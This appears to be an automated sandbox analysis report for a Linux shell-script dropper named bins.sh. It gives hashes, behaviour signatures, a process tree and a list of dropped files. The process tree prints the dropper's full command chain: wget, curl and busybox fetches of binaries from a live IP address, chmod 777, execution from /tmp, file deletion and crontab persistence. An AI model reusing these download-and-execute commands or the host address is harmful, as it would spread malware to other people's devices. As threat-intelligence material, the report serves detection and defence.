Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 08:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    dc0ce8a1a92fcd65e74d86d4f034507f

  • SHA1

    6c5ae4976fa6a4f05d607b9e9ada4f44288bea0a

  • SHA256

    9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607

  • SHA512

    a920736e0bbea5c3db7143178398c9cb41e7f89962c0151dbdd8dbf6cda5c5f8c86d757abcde638eda555f1516b54ace20ec0380ff85e32d1616641ef53cd643

  • SSDEEP

    192:mTXeYIJ7pJK7z3hrPwDHn08beSg7v727rPJy+MksWWeSkarPLrPZy+KksWAeS1r9:1ebOlR

Malware Config

Signatures

  • Contacts a large (1707) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Writes file to tmp directory
              PID:745
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Writes file to tmp directory
              PID:746
            • /bin/chmod
              chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • File and Directory Permissions Modification
              PID:747
            • /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
              • Executes dropped EXE
              PID:748
            • /bin/rm
              rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Writes file to tmp directory
                PID:752
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:758
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                • Executes dropped EXE
                PID:771
              • /bin/rm
                rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
                2⤵
                  PID:774
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Writes file to tmp directory
                  PID:776
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:782
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Writes file to tmp directory
                  PID:788
                • /bin/chmod
                  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:792
                • /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                  • Executes dropped EXE
                  PID:793
                • /bin/rm
                  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
                  2⤵
                    PID:796
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Writes file to tmp directory
                    PID:797
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Writes file to tmp directory
                    PID:806
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /bin/chmod
                    chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • File and Directory Permissions Modification
                    PID:813
                  • /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                    • Executes dropped EXE
                    PID:814
                  • /bin/rm
                    rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
                    2⤵
                      PID:816
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Writes file to tmp directory
                      PID:817
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Writes file to tmp directory
                      PID:818
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Writes file to tmp directory
                      PID:819
                    • /bin/chmod
                      chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:820
                    • /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                      • Executes dropped EXE
                      PID:821
                    • /bin/rm
                      rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
                      2⤵
                        PID:823
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Writes file to tmp directory
                        PID:824
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Writes file to tmp directory
                        PID:825
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Writes file to tmp directory
                        PID:830
                      • /bin/chmod
                        chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • File and Directory Permissions Modification
                        PID:833
                      • /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                        • Executes dropped EXE
                        PID:835
                      • /bin/rm
                        rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
                        2⤵
                          PID:838
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Writes file to tmp directory
                          PID:839
                        • /usr/bin/curl
                          curl -O http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:847
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Writes file to tmp directory
                          PID:858
                        • /bin/chmod
                          chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:864
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:866
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:867
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:870
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:871
                              • /bin/rm
                                rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
                                2⤵
                                  PID:875
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                  2⤵
                                    PID:878
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                    2⤵
                                      PID:959
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:960
                                    • /bin/chmod
                                      chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:961
                                    • /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                      ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                      2⤵
                                      • Executes dropped EXE
                                      PID:962
                                    • /bin/rm
                                      rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
                                      2⤵
                                        PID:964
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
                                        2⤵
                                          PID:965

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

                                        Filesize

                                        177KB

                                        MD5

                                        786d75a158fe731feca3880f436082c0

                                        SHA1

                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                        SHA256

                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                        SHA512

                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                      • /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN

                                        Filesize

                                        122KB

                                        MD5

                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                        SHA1

                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                        SHA256

                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                        SHA512

                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                      • /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs

                                        Filesize

                                        141KB

                                        MD5

                                        3ca8decdb1e52c423c521bfff02ac200

                                        SHA1

                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                        SHA256

                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                        SHA512

                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                      • /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7

                                        Filesize

                                        117KB

                                        MD5

                                        849fa04ef88a8e8de32cb2e8538de5fe

                                        SHA1

                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                        SHA256

                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                        SHA512

                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                      • /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /var/spool/cron/crontabs/tmp.MljWid

                                        Filesize

                                        210B

                                        MD5

                                        948445e20d5b1b4c9c95ef21aa7b67ce

                                        SHA1

                                        67e6277d8e8d41ebd2b20b1f1b8b5258a97e98a0

                                        SHA256

                                        72e955e46b7a42518d75af9aa2c80339c69462b7f80f1f589d06dca99ab5916a

                                        SHA512

                                        4724284e3f82c0252b2583a1ffbf3de7a9f38295516d48257221f0db13e48fd8a03450e9f85f64f1fe132371e7de165bff5ece8898615434743dec38fb0d3b98